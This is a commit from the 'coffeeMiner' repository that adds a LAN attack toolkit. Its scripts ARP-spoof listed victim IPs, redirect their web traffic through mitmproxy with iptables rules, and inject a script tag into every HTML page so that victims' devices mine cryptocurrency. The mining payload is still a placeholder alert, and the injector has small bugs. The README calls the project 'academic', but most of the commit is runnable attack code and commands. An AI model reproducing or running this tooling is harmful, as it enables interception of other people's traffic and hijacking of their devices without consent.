arnaucube
arnaucube/coffeeMinerPublic Self-hosted repository
mitm script done, injector done
arnaucode arnaucode@gmail.com
Mon, 18 Dec 2017 00:23:00 +0100
commit

c5c24b6bd245081a6af44aa4670a6dc4e3cafaee

parent

45ceb85f9205b8d2535966bbc27b37875898b48a

7 files changed, 158 insertions(+), 0 deletions(-)

jump to
A README.md

@@ -0,0 +1,70 @@

+# CoffeeMiner + +Collaborative Coffee Mining Pool. + +**Warning: this project is only with academic purposes.** + + +## Concept +- Performs a MITM attack +- Injects a js script in all the HTML pages requested by the victims +- The js script injected contains a cryptocurrency miner +- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner + + +## Use +- install.sh +``` +bash install.sh +``` +- edit victims.txt with one IP per line +- run.py +``` +python run.py ipgateway +``` + + + + +--- + + + +#### Manual use +- needs to have installed **mitmproxy** + https://mitmproxy.org/ + - installation: + ``` + sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev + + pip3 install --user mitmproxy + ``` + +- needs python 3.* + + +- configure IPTABLES + +``` +echo 1 > /proc/sys/net/ipv4/ip_forward + +iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE + +iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 +iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 +``` + +- arpspoof to the victims +``` +arpspoof -i eth0 -t <victim_ip> <gateway_ip> +arpspoof -i eth0 -t <gateway_ip> <victim_ip> +``` +- execute the httpServer.py that will serve the script.js that contains the minner: +``` +python httpServer.py +``` + +- execute the mitmproxy with the injector.py script: +``` +#~/.local/bin/mitmdump -s "injector.py http://127.0.0.1:8000/script.js" +```
A httpServer.py

@@ -0,0 +1,14 @@

+#!/usr/bin/env python +import http.server +import socketserver +import os + +PORT = 8000 + +web_dir = os.path.join(os.path.dirname(__file__), 'miner_script') +os.chdir(web_dir) + +Handler = http.server.SimpleHTTPRequestHandler +httpd = socketserver.TCPServer(("", PORT), Handler) +print("serving at port", PORT) +httpd.serve_forever()
A injector.py

@@ -0,0 +1,26 @@

+# Usage: mitmdump -s "js_injector.py src" +# (this script works best with --anticache) +from bs4 import BeautifulSoup +from mitmproxy import ctx, http + + +class Injector: + def load(self, loader): + loader.add_option( + "scr_url", str, "", "script_url to inject" + ) + + def response(self, flow: http.HTTPFlow) -> None: + if ctx.options.scr_url: + html = BeautifulSoup(flow.response.content, "html.parser") + if html.body: + script = html.new_tag( + "script", + src=context.src_url, + type='application/javascript') + html.body.insert(0, script) + flow.response.content = str(html).encode("utf8") + context.log("Script injected.") + + +addons = [Injector()]
A install.sh

@@ -0,0 +1,11 @@

+#TODO put --yes to all installation commands + +# install arpspoof (dsniff) +sudo apt-get install dsniff + +# install mitmproxy +sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev +pip3 install --user mitmproxy + +# install BeautifulSoup +pip3 install beautifulsoup4
A miner_script/script.js

@@ -0,0 +1,1 @@

+alert("this will be the minner");
A run.py

@@ -0,0 +1,34 @@

+import os +import sys + +#get gateway_ip (router) +gateway = sys.argv[1] +print("gateway: " + gateway) +# get victims_ip +victims = [line.rstrip('\n') for line in open("victims.txt")] +print("victims:") +print(victims) + +# configure routing (IPTABLES) +os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") +os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") +os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") +os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") + + +# run the arpspoof for each victim, each one in a new console +for victim in victims: + os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") + os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") + +# start the http server for serving the script.js, in a new console +os.system("xterm -hold -e 'python httpServer.py' &") + +# start the mitmproxy +os.system("~/.local/bin/mitmdump -s 'injector.py http://127.0.0.1:8000/script.js'") + + +''' +# run sslstrip +os.system("xterm -e sslstrip -l 8080 &") +'''
A victims.txt

@@ -0,0 +1,2 @@

+192.168.1.30 +192.168.1.31